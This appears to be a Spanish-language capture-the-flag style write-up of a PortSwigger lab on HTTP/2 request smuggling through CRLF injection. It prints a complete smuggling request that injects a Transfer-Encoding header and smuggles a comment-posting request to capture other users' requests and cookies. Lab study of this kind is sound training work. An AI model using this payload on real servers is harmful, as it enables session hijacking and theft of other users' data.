13 - HTTP2 request smuggling via CRLF injection
Es posible que los frontends HTTP2 hagan alguna validación de las cabeceras de medida de longitud, por lo que los dos últimos laboratorios pueden no funcionar.
Todos los HTTP/1.1 están de acuerdo en que CRLF (\r\n) termina una cabecera.
Pero no HTTP/2, una cabecera puede ser así :
foo bar\r\nTransfer-Encoding: chunked
Sería una cabecera dividida en dos partes :
Working with HTTP/2 in Burp Suite - PortSwigger
Working with HTTP/2 y Burp -> https://youtu.be/vnwxsbmadCo
Clicamos en la cabecera en la que queramos meter el CRLF y a > :
Para meter la CRLF : SHIFT + ENTER
Metemos el \r\n con el inspector y así el backend meterá el salto de línea e interpretará el transfer encoding :
POST / HTTP/2
Host: 0a9500d503b45454803e1731004a0054.web-security-academy.net
Cookie: session=2eZcgMpHtpOdV1VAEImKtPO5W1ovS14w; _lab_analytics=hYdApX7srDlSmvmigxuthS3T6WVtfaxAXDvz43rM0oqtSDFNzMxYwqbDqtLUE2XYfTrKAMKfpbIa9OHertmti8O8F5h543rNqxtuXmxLMrgpKskkFpEMtWiWYSlAfqC3fAFAWYNM8J7RFLdhMpSvOYCNveloDEPKn0ptKyb1FcyQ1HY99Q2VctV6UqyJlwBR9h3fceYtrCwciTG2KWyZFgyU8JRRipiEYFDVjBwfrBagbr6nRR8CWHdsA2qb5UKB
Content-Type: application/x-www-form-urlencoded
X-Ignore : X{\r\n}Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=2eZcgMpHtpOdV1VAEImKtPO5W1ovS14w; _lab_analytics=hYdApX7srDlSmvmigxuthS3T6WVtfaxAXDvz43rM0oqtSDFNzMxYwqbDqtLUE2XYfTrKAMKfpbIa9OHertmti8O8F5h543rNqxtuXmxLMrgpKskkFpEMtWiWYSlAfqC3fAFAWYNM8J7RFLdhMpSvOYCNveloDEPKn0ptKyb1FcyQ1HY99Q2VctV6UqyJlwBR9h3fceYtrCwciTG2KWyZFgyU8JRRipiEYFDVjBwfrBagbr6nRR8CWHdsA2qb5UKB
Content-Length: 700
csrf=yY8s3mDHot6YWq4d2eKFIOc7wBXn6g9B&postId=10&website=&name=test&email=test%40test.com&comment=